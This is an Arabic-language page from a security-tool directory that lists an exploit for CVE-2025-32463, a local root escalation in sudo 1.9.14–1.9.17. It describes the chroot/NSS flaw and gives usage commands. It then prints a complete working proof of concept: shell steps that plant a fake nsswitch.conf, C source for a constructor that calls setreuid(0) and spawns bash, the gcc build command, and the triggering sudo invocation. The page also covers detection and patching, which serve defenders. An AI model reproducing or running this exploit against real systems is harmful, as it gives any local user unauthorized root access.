Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-32463_exploit — استغلال تصعيد صلاحيات محلي لـ sudo 1.9.14-1.9.17 يسيء استخدام معالجة chroot في CVE-2025-32463، عبر زرع مُنشئ خبيث داخل مكتبة NSS لتشغيل صدفة root لأي مستخدم محلي. | Kitploit
أدوات/GitHubGitHub/0xdak/cve-2025-32463_exploit
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالتطوير الحمولات
GitHub0xdak/cve-2025-32463_exploit

CVE-2025-32463_exploit

استغلال تصعيد صلاحيات محلي لـ sudo 1.9.14-1.9.17 يسيء استخدام معالجة chroot في CVE-2025-32463، عبر زرع مُنشئ خبيث داخل مكتبة NSS لتشغيل صدفة root لأي مستخدم محلي.

عرض المستودع
منذ 17 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-32463 — sudo "chwoot" تصعيد امتيازات محلي عبر chroot

تصعيد امتيازات محلي إلى root في sudo عبر خيار --chroot (-R). يعمل مع أي مستخدم محلي، بما في ذلك الحسابات التي لا تملك أي إدخال في sudoers على الإطلاق (مثل www-data).

sudo 1.9.14 – 1.9.17 ينفّذ chroot() إلى الدليل المقدَّم من المستخدم بينما لا تزال سياسة sudoers قيد التقييم — أي قبل قرار التفويض. بعد ذلك chroot()، تقرأ عمليات بحث NSS في sudo ملف /etc/nsswitch.conf من داخل chroot الخاص بالمهاجم، ويحوّل glibc اسم مصدر زائفًا إلى dlopen("libnss_<name>.so.2") — فتُحمَّل المكتبة ويُنفَّذ مُنشئها بصلاحية root.

إن زرع nsswitch.conf مزيف (passwd: /woot1337) إلى جانب مكتبة libnss_/woot1337.so.2 خبيثة يَنفّذ مُنشئ ELF الخاص بها setreuid(0) + exec("/bin/bash") يمنح صدفة root. يُطلَق الاستغلال قبل فحص sudoers، لذا لا يحتاج المُنفِّذ إلى أي صلاحيات sudo.

  • المتأثِّر: sudo 1.9.14 – 1.9.17
  • الإصلاح: 1.9.17p1 (تم التراجع عن تغيير chroot في 1.9.14؛ وأُهمِلت الميزة)
  • CWE: 829 (تضمين وظائف من نطاق تحكم غير موثوق)
  • الأثر: أي مستخدم محلي → root. خلل منطقي حتمي (لا تلف في الذاكرة، ولا هجمات قوة غاشمة).
  • كشفه Rich Mirch (Stratascale)، 2025.

المتطلبات

مكتبة Python 3 القياسية، وإصدار sudo ضعيف بصلاحية setuid (1.9.14–1.9.17)، وgcc على الجهاز المستهدف (لبناء وحدة libnss الصغيرة). شغِّل بصلاحية المستخدم منخفض الامتياز.

الاستخدام

root@kitploit:~
python3 exploit.py            # -> interactive root shell
python3 exploit.py -c 'id'    # run a single command as root

كيف يعمل

  1. جهّز دليل chroot بحيث يحتوي etc/nsswitch.conf على passwd: /woot1337 (+ نسخة من /etc/group).
  2. اِبنِ libnss_/woot1337.so.2 — ملف ELF يَنفّذ مُنشئه (__attribute__((constructor))) الأمرين setreuid(0,0) وexecl("/bin/bash", …).
  3. sudo -R woot woot — ينفّذ sudo chroot إلى woot، ويجري عمليات بحث NSS، ويستدعي dlopen على libnss_/woot1337.so.2 بصلاحية root، ويمنح المُنشئ صدفة root — قبل أن يفحص sudo أصلًا ما إذا كان المستخدم مصرحًا له.

إثبات المفهوم اليدوي المعياري (Stratascale / pr0v3rbs "chwoot"):

root@kitploit:~
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot        # -> root

فحص الهدف

root@kitploit:~
sudo --version | head -1   # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched

المعالجة

حدِّث sudo إلى الإصدار ≥ 1.9.17p1. ميزة chroot أصبحت مهملة ولا ينبغي الاعتماد عليها.

إخلاء المسؤولية

لأغراض الاختبارات الأمنية المصرح بها والتعليم فقط. استخدمه فقط ضد الأنظمة التي تملكها أو لديك إذن صريح لاختبارها.

تنزيل الأداة